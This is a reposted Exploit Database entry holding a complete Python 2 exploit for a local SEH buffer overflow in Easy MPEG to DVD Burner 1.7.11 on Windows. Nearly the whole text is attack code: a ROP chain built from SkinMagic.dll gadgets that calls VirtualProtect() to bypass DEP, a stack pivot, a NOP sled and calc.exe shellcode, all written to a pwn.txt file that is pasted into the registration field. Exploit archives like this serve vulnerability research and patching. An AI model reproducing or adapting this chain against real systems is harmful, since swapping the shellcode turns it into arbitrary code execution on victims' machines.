Easy MPEG to DVD Burner 1.7.11 – Buffer Overflow (SEH + DEP)

• Exploit Database
• 105 阅读

• 作者： Bailey Belisario
  日期： 2020-04-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48339/

• # Exploit Title: Easy MPEG to DVD Burner 1.7.11 - Buffer Overflow (SEH + DEP)
  # Date: 2020-04-15
  # Exploit Author: Bailey Belisario
  # Tested On: Windows 7 Ultimate x64
  # Software Link: https://www.exploit-db.com/apps/32dc10d6e60ceb4d6e57052b6de3a0ba-easy_mpeg_to_dvd.exe
  # Version: 1.7.11
  # Exploit Length: 1015 Bytes
  # Steps : Open application > Register > In Username field paste content of pwn.txt file (Note open this in sublime or vscode)
  
  # Easy MPEG to DVD Burner 1.7.11 SEH + DEP Bypass using VirtualProtect() on Local Buffer Overflow 
  # Exploit used with Python2.7
  #------------------------------------------------------------------------------------------------------------------------------------#
  # Bad Characters: \x00\x0a\x0d#
  # SEH Offset: 1012 #
  # Modules Used: SkinMagic.dll & Easy MPEG to DVD Burner.exe #
  #------------------------------------------------------------------------------------------------------------------------------------#
  
  # Register setup for VirtualProtect() (Bypass DEP) :
  #---------------------------------------------------
  # EAX = Points to PUSHAD at time VirtualProtect() is called
  # ECX = lpflOldProtect (0x10047d30 as writable location)
  # EDX = flNewProtect(0x40)
  # EBX = dwSize (0x92)
  # ESP = lpAddress (automatic)
  # EBP = ReturnTo (ptr to jmp esp)
  # ESI = ptr to VirtualProtect()
  # EDI = ROP NOP (RETN)
  
  import struct
  
  def create_rop_chain():
  
  rop_gadgets = [
  
  # Put 1 in EDX and decrement to 0
  0x10031752,# XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
  0x1003629a,# ADD EAX,4 # DEC EDX # JNE SKINMAGIC!SETSKINMENU+0X2F505 (10036295) # POP ESI # RETN
  0x11111111,# Filler
  
  # Pop the pointer of VirtualProtect into EAX 
  0x10037b12,# POP EAX # RETN
  0x1003b268,# ptr to &VirtualProtect() [IAT SkinMagic.dll]
  
  # Dereference Pointer into EDX then move back to EAX
  0x1001c011,# ADD EDX,DWORD PTR [EAX] # RETN 0x0C
  0x10031772,# MOV EAX,EDX # RETN
  0x11111111,# Filler
  0x11111111,# Filler
  0x11111111,# Filler
  
  # Push VP and pop into EBP
  0x1002e17b,# PUSH EAX # PUSH ESP # XOR EAX,EAX # POP ESI # POP EBP # RETN 0x0C
  0x10037b12,# POP EAX # RETN
  0x11111111,# Filler
  0x11111111,# Filler
  0x11111111,# Filler
  
  # Use this to get to address needed to Pop VP into ESI
  	0x1003619e,# POP EAX # POP ESI # RETN
  
  	# Move VP to +12 on stack then push the POP POP RETN
  0x10032485,# MOV DWORD PTR [ESP+0CH],EBP # LEA EBP,DWORD PTR DS:[ESP+0CH] # PUSH EAX # RETN
  0x11111111,# Filler popped
  0x11111111,# Filler popped
  
  # Set ESI to VP
  0x1002e1ce,# POP ESI # RETN [SkinMagic.dll] 
  0x11111111,# Where VP is MOV into 
  
  	# Set EBP with POP EBP RETN
  0x1002894f,# POP EBP # RETN [SkinMagic.dll] 
  0x1002894f,# skip 4 bytes [SkinMagic.dll]
  
  # Set EDX (# s -d 0x10000000 L?0x10050000 0000003f <- used to find 3F)
  # Clear out EDX, set it to 0x01, find address where DWORD of EAX will be 0x3F, then add to EDX to be 0x40
  0x10031752,# XOR EDX,EDX # CMP EAX,DWORD PTR [ECX+8] # SETGE DL # MOV AL,DL # RETN
   	0x10037b12,# POP EAX # RETN
   	0x1005a0a0,# Address of 3F
   	0x10026173,# ADD EDX,DWORD PTR [EAX] # RETN
  
   	# Set EBX to 0x92 assuming EBX is 0, but could work with a decent range of numbers
   	# Note: This should be at least length of shellcode
   	0x100362c6,# XOR EAX,EAX # RETN
  	0x10033fb2,# ADD AL,0C9 # RETN
  	0x10033fb2,# ADD AL,0C9 # RETN
  	0x10035c12,# ADC BL,AL # OR CL,CL # JNE SKINMAGIC!SETSKINMENU+0X2EEDB (10035C6B) # RETN
   
  # Set ECX to writable location
  0x1003603f,# POP ECX # RETN [SkinMagic.dll] 
  0x10047d30,# &Writable location [SkinMagic.dll]
  
  # Set EDI to ROP NOP
  0x100395c2,# POP EDI # RETN [SkinMagic.dll] 
  0x10032982,# RETN (ROP NOP) [SkinMagic.dll]
  
  # Do PUSHAD and be 1337
  0x10037654,# POP EAX # RETN 
  0xa140acd2,# CONSTANT
  0x100317c8,# ADD EAX,5EFFC883 # RETN 
  0x1003248d,# PUSH EAX # RETN
  
  # Used to jump to ESP
  0x1001cc57,# ptr to 'push esp # ret ' [SkinMagic.dll]
  ]
  return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  
  ropChain = create_rop_chain()
  
  # CALC.EXE for POC
  shell = ("\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72"
   "\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F"
   "\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24"
   "\x01\xF9\x0F\xB7\x2C\x51\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45"
   "\x75\xF1\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7")
  
  # 148 Bytes needed to return to ROP CHAIN
  paddingBeginning = "B"*148
  
  # NOP Sled needs to be sufficient length, from some math, I came out with a buffer of 444 - len(ROP CHAIN)
  nopLen = 444 - len(ropChain)
  nopSled = '\x90'*nopLen
  
  # Padding to SEH needs to consider the 420 bytes remaining - shellcode
  paddingMiddleLen = 420 - len(shell)
  paddingMiddle = 'B'*paddingMiddleLen
  
  # 0x004043ee (add esp, 7D4) Stack Pivot 2004 bytes
  # This brings total bytes to SEH Offset (1012) + 3 for a total of 1015 bytes
  seh = "\xee\x43\x40"
  
  # Exploit Visualization#
  #------------------------#
  #BBBBBBBBBBBBBBBBBBBB#
  #------------------------#
  # ROP CHAIN#
  #------------------------#
  #NOPS#
  #------------------------#
  # SHELL CODE #
  #------------------------#
  #BBBBBBBBBBBBBBBBBBBB#
  #------------------------#
  #SEH #
  #------------------------#
  
  exploit = paddingBeginning + ropChain + nopSled + shell + paddingMiddle + seh
  
  file = open("pwn.txt", 'w')
  file.write(exploit)
  file.close()
  

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